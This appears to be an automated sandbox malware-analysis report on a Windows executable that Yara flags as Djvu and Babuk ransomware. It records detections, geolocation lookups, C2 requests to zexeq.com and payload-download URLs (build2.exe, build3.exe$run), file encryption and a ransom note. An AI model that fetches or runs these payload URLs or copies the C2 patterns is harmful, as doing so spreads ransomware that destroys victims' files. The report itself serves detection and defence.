Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49736 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:57797 -> 104.21.80.1:443

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 1_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com

Source: n41dQbiw1Y.exe, 00000004.00000003.1935742736.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: n41dQbiw1Y.exe, 00000004.00000003.1936031831.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: n41dQbiw1Y.exe, 00000004.00000003.1936139234.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: colisumy.com
Source: global traffic	DNS traffic detected: DNS query: zexeq.com

Source: n41dQbiw1Y.exe, 00000004.00000003.2518901316.000000000080E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519993895.000000000080E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://colisumy.com/dl/build2.exe
Source: n41dQbiw1Y.exe, 00000004.00000002.2520929659.0000000002F70000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519993895.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2518901316.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://colisumy.com/dl/build2.exe$run
Source: n41dQbiw1Y.exe, 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: n41dQbiw1Y.exe, 00000004.00000003.1935620625.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: n41dQbiw1Y.exe, 00000004.00000003.1935798654.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: n41dQbiw1Y.exe, 00000004.00000003.1935853677.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: scriptCache-current.bin.4.dr	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: scriptCache-current.bin.4.dr	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: scriptCache-current.bin.4.dr	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: n41dQbiw1Y.exe, 00000004.00000003.1935921192.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: n41dQbiw1Y.exe, 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: n41dQbiw1Y.exe, 00000004.00000003.1935981381.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: n41dQbiw1Y.exe, 00000004.00000003.1936031831.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: n41dQbiw1Y.exe, 00000004.00000003.1936083410.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: n41dQbiw1Y.exe, 00000004.00000003.1936139234.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: n41dQbiw1Y.exe, 00000004.00000003.2518901316.000000000080E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519993895.000000000080E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe
Source: n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000927000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$run
Source: n41dQbiw1Y.exe, 00000004.00000002.2520929659.0000000002F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$runF
Source: n41dQbiw1Y.exe, 00000004.00000003.2518901316.000000000080E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519993895.000000000080E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe(w
Source: n41dQbiw1Y.exe, 00000004.00000002.2519993895.0000000000802000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519993895.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2518901316.0000000000802000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2518901316.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904915871.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php
Source: n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000898000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904915871.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
Source: n41dQbiw1Y.exe, 00000004.00000003.2518857943.000000000081B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2518901316.000000000080E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519993895.000000000080E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2520149380.000000000081C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true
Source: n41dQbiw1Y.exe, 00000006.00000002.2904915871.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/raud/get.phprSK
Source: n41dQbiw1Y.exe, 0000000B.00000002.1895210832.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: n41dQbiw1Y.exe, 0000000B.00000002.1895210832.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/6w
Source: n41dQbiw1Y.exe, 00000008.00000002.1812654712.0000000000758000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000008.00000003.1811980705.0000000000756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/H
Source: n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/Root
Source: n41dQbiw1Y.exe, 0000000B.00000002.1895210832.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/_j
Source: n41dQbiw1Y.exe, 0000000B.00000002.1895210832.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000B.00000002.1895210832.0000000000863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: n41dQbiw1Y.exe, 00000001.00000003.1667111388.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000748000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000B.00000002.1895210832.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json-Agent:
Source: n41dQbiw1Y.exe, 00000001.00000003.1668600110.00000000006E6000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000001.00000003.1668911358.00000000006EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json3
Source: n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonP
Source: n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonRhq
Source: n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonZhi
Source: n41dQbiw1Y.exe, 0000000B.00000002.1895210832.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonc
Source: n41dQbiw1Y.exe, 0000000B.00000002.1895210832.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsondll
Source: n41dQbiw1Y.exe, 00000008.00000002.1812570147.0000000000708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonl
Source: n41dQbiw1Y.exe, 00000004.00000002.2519993895.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2518901316.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/r
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: 30264859306.ttf.4.dr, 27160079615.ttf.4.dr, 28367963232.ttf.4.dr	String found in binary or memory: https://github.com/andre-fuchs/kerning-pairs/blob/master/LICENSE.md).
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://mozilla.org/W
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://mzl.la/3NS9KJd
Source: n41dQbiw1Y.exe, 00000004.00000002.2520929659.0000000002F70000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.1936239885.00000000034C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://opendgame.ddns.net/endgame
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://profiler.firefox.com
Source: n41dQbiw1Y.exe, 00000004.00000002.2520929659.0000000002F70000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000948000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-e5pgPH03
Source: n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000948000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-e5pgPH03Bd
Source: n41dQbiw1Y.exe, 00000004.00000002.2520929659.0000000002F70000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2518857943.000000000081B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2520149380.000000000081C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904915871.0000000000927000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904915871.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-e5pgPH03fe
Source: n41dQbiw1Y.exe, 00000004.00000002.2520929659.0000000002F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-e5pgPH03jz(
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://www.google.com/policies/privacy/2
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://www.openh264.org//
Source: scriptCache-current.bin.4.dr	String found in binary or memory: https://www.widevine.com/3

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57797
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736

Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:57797 version: TLS 1.2

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

Code function: 1_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

1_2_004822E0

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: n41dQbiw1Y.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n41dQbiw1Y.exe PID: 7476, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 0.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.n41dQbiw1Y.exe.43f15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.n41dQbiw1Y.exe.43415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.n41dQbiw1Y.exe.43615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.n41dQbiw1Y.exe.43615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.n41dQbiw1Y.exe.43f15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.n41dQbiw1Y.exe.43415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.n41dQbiw1Y.exe.43615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.n41dQbiw1Y.exe.43f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.n41dQbiw1Y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.n41dQbiw1Y.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2904915871.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: n41dQbiw1Y.exe PID: 7272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n41dQbiw1Y.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n41dQbiw1Y.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n41dQbiw1Y.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n41dQbiw1Y.exe PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n41dQbiw1Y.exe PID: 7476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n41dQbiw1Y.exe PID: 7644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n41dQbiw1Y.exe PID: 7664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n41dQbiw1Y.exe PID: 7864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: n41dQbiw1Y.exe PID: 7880, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File moved: C:\Users\user\Desktop\WKXEWIOTXI.png	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File deleted: C:\Users\user\Desktop\WKXEWIOTXI.png	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File moved: C:\Users\user\Desktop\NWTVCDUMOB.pdf	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File deleted: C:\Users\user\Desktop\NWTVCDUMOB.pdf	Jump to behavior
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File moved: C:\Users\user\Desktop\DTBZGIOOSO\ONBQCLYSPU.pdf	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption settings;change encryption settings"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevices.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevices"},"system.comment":{"type":12,"value":"bluetooth and other devices settings"},"system.highkeywords":{"type":12,"value":"device;projector;projectors;pair bluetooth device;unpair device;pair device;bluetooth settings;add bluetooth device;add device"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevicespen-2.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevicespen"},"system.comment":{"type":12,"value":"pen and windows ink settings"},"system.highkeywords":{"type":12,"value":"pens;handedness;cursor;cursors;writing;write;workspace;pen shortcuts;h

Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log entropy: 7.99331166614	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml entropy: 7.99596713074	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml entropy: 7.9953707563	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Temp\msedge_installer.log entropy: 7.99195559075	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Temp\offline.session64 entropy: 7.99687996165	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.99258785825	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99719138262	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99594061087	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt entropy: 7.99839317875	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt entropy: 7.99840533778	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt entropy: 7.99798919289	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt entropy: 7.99826598892	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt entropy: 7.99835836361	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt entropy: 7.99832606846	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json entropy: 7.99876588438	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133809274413186015.txt entropy: 7.99858958546	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133809274034540047.txt entropy: 7.99855857892	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945539453665.txt entropy: 7.99857283841	Jump to dropped file
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt entropy: 7.99835538136	Jump to dropped file
